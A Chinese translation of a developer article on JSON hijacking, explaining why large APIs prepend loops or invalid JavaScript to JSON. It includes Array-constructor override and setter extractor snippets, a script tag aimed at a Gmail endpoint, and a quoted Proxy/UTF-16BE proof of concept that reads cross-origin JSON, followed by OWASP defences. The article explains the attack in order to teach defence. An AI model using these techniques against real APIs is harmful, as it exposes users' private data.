你知道为什么Facebook的API以一个循环作为开头吗？_编程语言_Antony Garand



 写点什么

如果你有在浏览器中查看过发给大公司 API 的请求，你可能会注意到，JSON 前面会有一些奇怪的 JavaScript：

为什么他们会用这几个字节来让 JSON 失效？

为了保护你的数据

如果没有这些字节，那么有可能任何网站都可以访问这些数据。

这个漏洞被称为JSON劫持，也就是网站可以从这些 API 中提取 JSON 数据。

起源

在 JavaScript 1.5 及更早版本中，可以覆盖原始类型对象的构造函数，并使用括号调用覆盖的版本。

你可以这样：

function Array(){    alert('You created an array!');}var x = [1,2,3];

复制代码

这样就会弹出 alert！

使用以下脚本替换 var x，攻击者就可以阅读你的电子邮件！

这是通过在加载外部脚本之前覆盖 Array 构造函数来实现的。

<script src="https://gmail.com/messages"></script>

复制代码

数据提取

即使你重载了构造函数，仍然可以通过 this 来访问它。

这是一个代码片段，它将 alert 数组的所有数据：

function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}

复制代码

在创建数组后，它们的值将被 alert 出来！

ECMAScript 4 提案中已修复了这个问题，我们现在无法再覆盖大多数原始类型的原型，例如 Object 和 Array。

尽管 ES4 从未发布，但主要浏览器在发现后很快就修复了这个漏洞。

在今天的 JavaScript 中，你仍然可以使用类似的行为，但它受限于你创建的变量，或者不使用括号创建的对象。

这是之前的一个修订版本：

// Making an arrayconst x = [];
// Making the overriden methodsx.copy = [];const extractor = (v) => {    // Keeping the value in a different array    x.copy.push(v);    // Setting the extractor for the next value    const currentIndex = x.copy.length;    x.__defineSetter__(currentIndex, extractor);    x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);    // Logging the value    console.log('Extracted value', v);};
// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';x[1] = 'one';
console.log(x[0]);console.log(x[1]);

复制代码

这是一个使用 Array 关键字创建数组的版本：

function Array(){    console.log(arguments);}
Array("secret","values");

复制代码

如你所见，你添加到数组中的数据被记录下来，但功能保持不变！

修复方案并没有阻止使用 Array 来创建数组，而是在使用括号创建对象时强制使用原生实现，而不是自定义函数。

这意味着我们仍然可以创建一个 Array 函数，但不能与方括号（[1,2,3]）一起使用。

如果我们使用 x = new Array(1,2,3)或 x = Array(1,2,3)，它仍将被调用，但不会给 JSON 劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击，那么现在呢？

随着最近 EcmaScript 6 的发布，添加了很多新功能，例如 Proxies！

来自 Portswigger 的 Gareth Heyes 在博客上介绍了这个漏洞的新变体，它仍然允许我们从 JSON 端点窃取数据！

通过使用 Proxies（而不是 Accessor），我们可以窃取到任意创建的变量，无论它的名称是什么。

它可以像 Accessor 一样，但可以访问任意可访问或写入属性。

使用这个和另外一个技巧，就可以再次窃取数据！

UTF-16BE 是一个多字节字符集，一个字符由两个字节组成。例如，如果你的脚本以[“作为开头，它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量=)。

使用这个脚本：

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

复制代码

通过使用这个脚本中的一些受控数据和移位脚本，我们就可以再次渗透数据！

这是 Gareth 最后的 POC，摘自他的博文：

<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

复制代码

我不会深入解释这个方法，而是建议你阅读他的帖子，以获取更多信息。

预防

这是 OWASP 的官方建议：

使用 CSRF 保护，如果不存在安全标头或 csrf 令牌，就不返回数据，以防止被利用。
始终将 JSON 作为对象返回。

最后的解决方案很有趣。

在 Firefox 和 IE 中，这个是有效的：

x = [{"key":"value"}]x = {"key":"value"}[{"key":"value"}]{key: "value"}

复制代码

但这样不行：

{"key":"value"}

复制代码

它之所以无效是因为 Firefox 和 IE 认为括号是块语句的开头，而不是创建对象。

没有引号的符号{key:“value”}被视为标签，值被视为一个语句。

结论

虽然这些东西在今天可能是无效的，但我们永远不会知道明天将会带来什么新的错误，因此我们仍应尽力阻止 API 被利用。

如果我们把这个StackOverflow答案视为理所当然，我们就很容易受到现代变体的影响，因此仍然可能被黑客入侵。

谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环，OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

活动推荐

12 月 7 日北京 ArchSummit 全球架构师峰会上，来自 Google、Netflix、BAT、滴滴、美团等公司技术讲师齐聚一堂，共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 https://bj2018.archsummit.com/schedule

评论 1 条评论

发布

暂无评论

华为校园鸿蒙公开课走进清华大学

OPPO式出海，为全球化讲一个“落地生根”的故事

脑极体

鸿蒙开发案例：巧算24点

zhongcx

新员工培训助力融入团队的实用方法

爱吃小舅的鱼

新员工培训

AI安全智能体，重塑网络安全新范式

云起无垠

10分钟搞定软件架构决策

俞凡

架构

创作场景

你知道为什么 Facebook 的 API 以一个循环作为开头吗？

为了保护你的数据

起源

数据提取

新的变体

预防

结论

英文原文

活动推荐

评论 1 条评论

更多内容推荐

推荐阅读

电子书

大厂实战PPT下载